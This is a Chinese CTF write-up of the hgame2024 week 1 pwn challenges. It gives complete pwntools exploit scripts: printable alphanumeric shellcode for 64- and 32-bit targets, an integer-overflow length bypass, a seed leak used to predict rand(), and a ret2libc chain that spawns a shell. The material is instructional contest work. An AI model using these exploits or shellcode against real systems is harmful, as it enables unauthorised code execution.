首页 > 其他分享 >[pwn]hgame2024 week1 WriteUp

[pwn]hgame2024 week1 WriteUp

时间:2024-02-06 12:55:06浏览次数:70  
标签:myread libc elf week1 hgame2024 pwn import shellcode

目录

1.EzSignIn

签到题,直接nc

2.ezshellcode

checksec,保护全开64位程序

丢IDA

跟进一下myread函数

image-20240129210851314

可以看到会执行写入的内存,但有两个点

一是长度限制,可以通过整型溢出绕过,二是myread函数会检查写入的内容,必须为字母或数字

看到题目就已经猜到了,这里写入可见字符shellcode

#exp
from pwn import *

p=remote("139.196.200.143",32346)
shellcode="Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t"
#一开始直接输入打不出来,仔细看了看应该是因为myread会检查v5个字符,整型溢出得到的v5写不满会导致exit,因此加了一个补齐
payload=shellcode.ljust(65545,'a')
p.sendline(b'-1')
p.sendline(payload)

p.interactive()

分享两个可见字符shellcode,都可以在网上找到

64位:
Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t
32位:
PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJISZTK1HMIQBSVCX6MU3K9M7CXVOSC3XS0BHVOBBE9RNLIJC62ZH5X5PS0C0FOE22I2NFOSCRHEP0WQCK9KQ8MK0AA
3.Elden Random Challenge

checksec,64位程序

image-20240130134051287

IDA反汇编

image-20240130134141091

image-20240130134157449

首先要求输入一个name,然后需要连续输入99个随机数,进入myread函数存在栈溢出

只要调用ctpyes库模拟随机数,然后栈溢出ret2libc就行了

其中格式化字符串%s打印buf时可以泄露seed内容,查看栈空间可以看出来

image-20240130134649374

buf和seed相差0x12-0x4=0xE,seed占四个字节

(这里我一开始打算直接srand(time(0)撞时间戳,但是一直存在误差,所以这样做))

接下来就可以ret2libc了,注意堆栈平衡

附完整exp

import struct
from pwn import *
import ctypes
#hgame
p=remote("47.100.137.175",32537)

elf=ELF("./vuln")
libc=ELF("./libc.so.6")

myread_addr=elf.sym["myread"]
puts_plt=elf.plt["puts"]
puts_got=elf.got["puts"]

random_libc = ctypes.CDLL("./libc.so.6")
random_libc.srand.argtypes = [ctypes.c_uint]

pop_rdi_ret=0x401423
ret_addr=0x40101a

payload=b'a'*0xE
p.sendafter(b'tell me thy name.',payload)
p.recvuntil(b'a'*0xE)
seed=struct.unpack("<i",p.recv(4))[0]	#接受到四个字节,转换成整数形式,注意小端序
print(seed)
random_libc.srand(seed)

for i in range(99):
    result=random_libc.rand()%100+1
    #print(str(result))
    p.send(p64(result))		#注意输入数字时read函数读取八个字节,这里采用p64形式,sendline输入的'\n'也会有影响

payload=cyclic(0x38)+p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(myread_addr)
p.sendline(payload)
puts_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

base_addr = puts_addr - libc.sym["puts"]
system_addr = base_addr + libc.sym["system"]
binsh_addr = base_addr + next(libc.search(b'/bin/sh\x00'))

payload=cyclic(0x38)+p64(ret_addr)+p64(pop_rdi_ret)+p64(binsh_addr)+p64(system_addr)
p.sendline(payload)

p.interactive()

标签:myread,libc,elf,week1,hgame2024,pwn,import,shellcode
From: https://www.cnblogs.com/wyxhhh/p/18009538

相关文章

  • 【pwn】pwnable_start --只有read和write函数的getshell
    首先查一下程序的保护情况保护全关!!!然后看ida逻辑ida的结果很简洁,只有一段汇编代码,我们再来看看nc情况现在我们来分析一下汇编代码 mov  ecx,esp            ;addr.text:08048089B214            mov  dl......
  • PWN基础环境配置(Ubuntu系统)
    PWN环境配置(Ubuntu系统)如果不清楚从github上下载的工具的使用方法,可以在项目根目录下查看README文档vscode在Ubuntu软件中心下载vscode(记得换成国内源,不会的话去搜索教程)下载之后启动并安装python扩展pip换源(阿里源)pipconfigsetglobal.index-urlhttp://mirrors.aliyu......
  • 【pwn】axb_2019_fmt32 --格式化字符串漏洞进一步利用
    照例检查程序保护情况堆栈不可执行,再导入ida看一下代码逻辑如上图此处代码有格式化字符串漏洞先找出偏移可以发现偏移是8那么我们可以利用printf泄露出libc地址,如何修改printf_got表为system的地址,然后再传入/bin/sh就可以getshellexp:frompwnimport*fromLibcSearc......
  • pwnable_start
    pwnable_startbamuwe@qianenzhao:~$checksecstart[*]'/home/bamuwe/start'Arch:i386-32-littleRELRO:NoRELROStack:NocanaryfoundNX:NXdisabledPIE:NoPIE(0x8048000)保护全关,但不能看伪代码,只能看汇编思路:......
  • CTF学习记录pwn篇
    作为一个CTF初学者,在这里记录自己学习刷题的过程,不定期更新。此为pwn篇,有关pwn方向的题目会放在这里,目前来说,这篇会主要更新,其他方向也许会有,敬请期待。目录一、formatstring1.[HUBUCTF2022新生赛]fmt-NSSCTF2.test_format-PolarD&N二、ROP1.03ret2syscall_32-PolarD&N......
  • 1.20号(本周六)直播:PWN之初体验
    本次的课程的内容为:1.何为PWN?2.PWN常见漏洞形式3.尝试第一次hack 1月20日晚20:00,我们不见不散~  Ms08067安全实验室专注于网络安全知识的普及和培训,是专业的“图书出版+培训”的网络安全在线教育平台,专注于网络安全领域中高端人才培养。平台已开设Web安全零基础就业,Web......
  • xdctf2015_pwn200
    xdctf2015_pwn20032位泄露了ibcmain函数中输入vuln函数中存在溢出漏洞非常常规的泄露libc,直接上代码frompwnimport*elf=ELF('./bof')Lib=ELF('/lib/i386-linux-gnu/libc.so.6')io=process('./bof')padding=b'A'*112payload1=padding+......
  • 【pwn】wustctf2020_closed --exec重定向
    这道题先来看一下ida这道题的代码逻辑很简单,首先关闭了标准输出和错误输出那可以将标准输出重定向到标准输入exec1>&0是一种Shell命令行中的重定向语法,用于将标准输出(文件描述符1)重定向到标准输入(文件描述符0)。在LinuxShell中,每个进程都有三个默认的标准文件描述符:标准......
  • CTFpwn进阶之路从栈到堆---初步理解
    曾听过某大佬讲,pwn的等级大致分为三种,栈,堆,内核。这篇文章总结了我目前对堆的理解,肯定不够深入,不过我将更注重于偏抽象和本质的东西,希望各位看完能有些不同的收获。堆题小结就我目前的理解来说,堆和栈有个很不同的地方。栈的漏洞经常是可以栈溢出直接改变函数返回地址,通过pop|ret做到......
  • pwn2_sctf_2016
    pwn2_sctf_2016lib地址泄露vuln()程序对输入的v2做了限制首先要利用整数绕过if(v2>32)的限制程序中没有现成的shell所以要通过printf泄露lib手动构造shellfrompwnimport*context.log_level='debug'io=process('./pwn2_sctf_2016')#io=gdb.debug('./......